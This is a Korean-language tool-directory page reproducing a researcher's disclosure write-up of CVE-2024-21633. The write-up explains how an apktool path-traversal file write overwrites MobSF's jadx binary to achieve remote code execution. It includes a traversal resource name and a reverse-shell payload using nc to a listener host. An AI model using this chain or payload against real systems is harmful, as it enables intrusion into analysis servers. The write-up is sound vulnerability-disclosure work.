Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-21633 — MobSF 원격 코드 실행 (CVE-2024-21633을 통한) | Kitploit
도구/GitHubGitHub/0x33c0unt/cve-2024-21633
Android SecurityVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHub0x33c0unt/cve-2024-21633

CVE-2024-21633

MobSF 원격 코드 실행 (CVE-2024-21633을 통한)

저장소 보기
795112년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MobSF 원격 코드 실행 (via CVE-2024-21633)

저는 apktool에서 임의 파일 쓰기 취약점을 발견하여 github security advisory를 통해 보고했습니다. 많은 프로젝트가 apktool에 의존하고 있다는 것을 알고 있었지만, advisory 게시와 수정 이후에도 많은 프로젝트가 이를 인지하거나 신경 쓰지 않는 것 같았습니다. 그래서 큰 의존 프로젝트 일부에서 그 영향과 익스플로잇 가능성을 확인하기로 결정했고, MobSF부터 시작했습니다.

이 취약점을 통해 "${decode target path}/res/"에 대한 상대 경로에任意 파일을 쓸 수 있습니다. 가장 큰 영향은 RCE를 얻는 것입니다. 하지만 문제가 있습니다. 작성된 파일은 실행 파일이 아닙니다.

본격적으로 들어가기 전에 두 가지 아이디어가 있었습니다.

  • .bashrc/.zshrc 등의 셸 초기화 파일을 덮어쓰는 것을 목표로 할 수 있습니다. 하지만 이를 위해서는 "decode target path"가 사용자 폴더 아래에 있어서 "../../.bashrc"와 같이 타겟팅할 수 있거나, 또는 "../../../../username/.bashrc"와 같은 타겟을 위해 사용자 이름을 알거나 (또는 브루트포스)해야 합니다. 여기서 좋은 점은 애플리케이션이 0xFFFF (65536)개의 다른 raw 리소스 이름을 가질 수 있다는 것입니다. 리소스 ID는 0x7F0B1234 (1바이트 패키지 식별자, 보통 0x7F; 1바이트 타입 식별자, 예: raw, drawable; 2바이트 리소스 식별자)와 같습니다. 우리의 경우 MobSF가 도커에서 실행된다고 가정하면 사용자 이름인 MobSF를 이미 알고 있습니다. 그러나 파일을 덮어쓴 후에는 셸이 생성될 때까지 기다려야 하며, 이는 보장되지 않습니다.
  • 악성 스크립트를 실행하는 크론잡을 생성하려면 애플리케이션에 루트 권한이 필요합니다.

하지만 만약 파일의 권한을 실행 가능으로 변경하는 앱을 발견할 만큼 운이 좋다면? 그리고 이후에 실행까지 될 만큼 더 운이 좋다면? 이 모든 것이 apktool 실행 이후에 발생해야 합니다. 이것이 바로 MobSF의 상황입니다. MobSF는 정적 분석의 일부로 jadx를 사용하며, subprocess를 통해 jadx를 호출하지만, 그 직전에 jadx의 권한을 실행 가능으로 변경합니다.

apktool, chmod, jadx가 각각 호출되는 로그 발췌:

root@kitploit:~
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

jadx를 타겟으로 사용할 것이지만, jadx의 res 폴더에 대한 상대 경로가 필요합니다. 이는 Python 함수에서 os.path.relpath()를 사용하여 얻을 수 있습니다.

리소스 기본 폴더는 "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"입니다. 다음 경로의 jadx 바이너리를 덮어쓰려고 합니다: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

root@kitploit:~
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

우리의 페이로드는 res/raw/jadx에 위치할 것입니다.

root@kitploit:~
#!/bin/bash
nc host.docker.internal 9001 -e sh

리소스 이름은 "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"가 됩니다. 리소스 APK를 업로드하고 jadx가 실행될 때까지 기다리면, nc 리스너에서 셸을 얻을 수 있습니다. 업로드 성공! 리버스 셸

그런 다음 이메일로 MobSF 팀에 이 문제를 보고했고, 신속한 답변을 받았으며, 그들은 최신 apktool 버전으로 업데이트하여 수정했습니다. 하지만 jadx를 실행 가능하게 만들고 이후에 실행하는 동작은 여전히 남아 있습니다. 차라리 권한을 미리 고정해두고 디렉토리를 쓰기 불가능하게 유지하는 것이 좋을 것 같습니다.

더 많은 내용을 보려면 팔로우하세요! @0x33c0unt

도구 다운로드